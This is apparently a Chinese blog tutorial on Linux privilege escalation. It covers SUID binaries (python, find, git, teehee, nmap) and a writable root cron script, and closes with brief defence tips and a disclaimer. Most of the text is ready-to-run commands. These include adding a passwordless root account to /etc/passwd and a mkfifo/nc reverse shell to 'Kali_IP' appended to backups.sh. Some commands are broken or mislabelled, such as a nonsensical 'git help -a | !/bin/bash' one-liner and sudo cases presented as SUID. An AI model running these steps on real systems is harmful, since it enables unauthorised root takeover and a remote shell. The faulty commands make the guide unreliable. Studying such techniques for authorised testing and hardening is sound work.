当前位置:首页>Linux>Linux提权姿势:从SUID文件到Root权限的获取指南

Linux提权姿势:从SUID文件到Root权限的获取指南

  • 2026-09-10 19:43:24
Linux提权姿势:从SUID文件到Root权限的获取指南

Linux提权姿势:从SUID文件到Root权限的获取指南

什么是SUID?

SUID(Set owner User ID)是一种特殊的文件权限。当用户执行具有SUID权限的程序时,该程序会以文件所有者的权限运行,而不是执行者的权限。如果这个文件的所有者是root,那么普通用户执行该程序时,就能临时获得root权限。

首先,我们可以通过以下命令查找系统中所有设置了SUID权限的文件:

find / -perm -u=s 2>/dev/null

这条命令会列出系统中所有带有SUID位的文件,这些文件可能就是我们的提权入口。

常见SUID文件的提权方法

1. Python/Python3

当Python文件带有SUID权限时,我们可以修改文件内容来获取root shell:

import os;os.system('/bin/bash')

将这段代码写入Python文件后执行,就能获得一个root权限的shell。

2. Find命令

find命令如果带有SUID权限,可以利用其执行命令的特性:

touch /tmp/abc
cd /tmp
find abc -exec /bin/sh \;

3. Git提权(多种姿势)

Git如果以root权限设置了SUID,有几种常见的提权方式:

方法1:Git help提权

sudo git help status
# 在less界面中输入
!/bin/bash

方法2:Git pager提权

sudo git -p status
# 在pager界面中输入
!/bin/bash

方法3:Git config提权

sudo git config --global core.pager '/bin/bash'
git status

方法4:一行命令直接提权

sudo git help -a | !/bin/bash

4. Teehee工具

teehee是一个简单的文本工具,可以用来修改系统文件。利用它可以向/etc/passwd添加root权限账号:

# 添加无密码的root账号
echo"newroot::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

# 如果系统不允许空密码,可以先生成密码hash
openssl passwd -1 -salt newroot password123
# 然后使用生成的hash
echo"newroot:$1$newroot$xxxxxx:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

5. Nmap提权

当Nmap带有SUID权限时,可以通过创建Lua脚本获取root权限:

# 创建提权脚本
echo"os.execute('/bin/bash')" > /tmp/root.nse

# 执行脚本
sudo nmap --script=/tmp/root.nse

6. 定时任务提权

有时虽然某个文件本身没有SUID权限,但它被root用户的定时任务所调用。这种情况下,如果我们能修改该文件的内容,就能在定时任务执行时获取root权限:

# 在WebShell或其他低权限shell中执行
echo"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 你的Kali_IP 6666 >/tmp/f" >> /opt/scripts/backups.sh

这条命令会在backups.sh末尾添加反弹shell的代码,当root执行这个脚本时,就会向你的Kali机器反弹一个root权限的shell。

防御建议

对于系统管理员来说,防范SUID提权需要注意以下几点:

  1. 定期审计SUID文件:使用find / -perm -u=s -type f 2>/dev/null定期检查
  2. 最小化SUID权限:移除不必要的SUID文件
  3. 监控异常进程:关注非root用户执行的root权限进程
  4. 及时更新系统:修补已知的内核提权漏洞

写在最后

本文介绍的提权方法仅用于合法的安全测试和学习目的。在实际的渗透测试中,获取SUID权限文件只是第一步,如何巧妙利用这些文件获取root权限,需要我们对系统有深入的了解。

后续我还会写一篇关于内核提权的文章,深入探讨更多高级的提权技术。如果你对这个话题感兴趣,欢迎持续关注!

最新文章

随机文章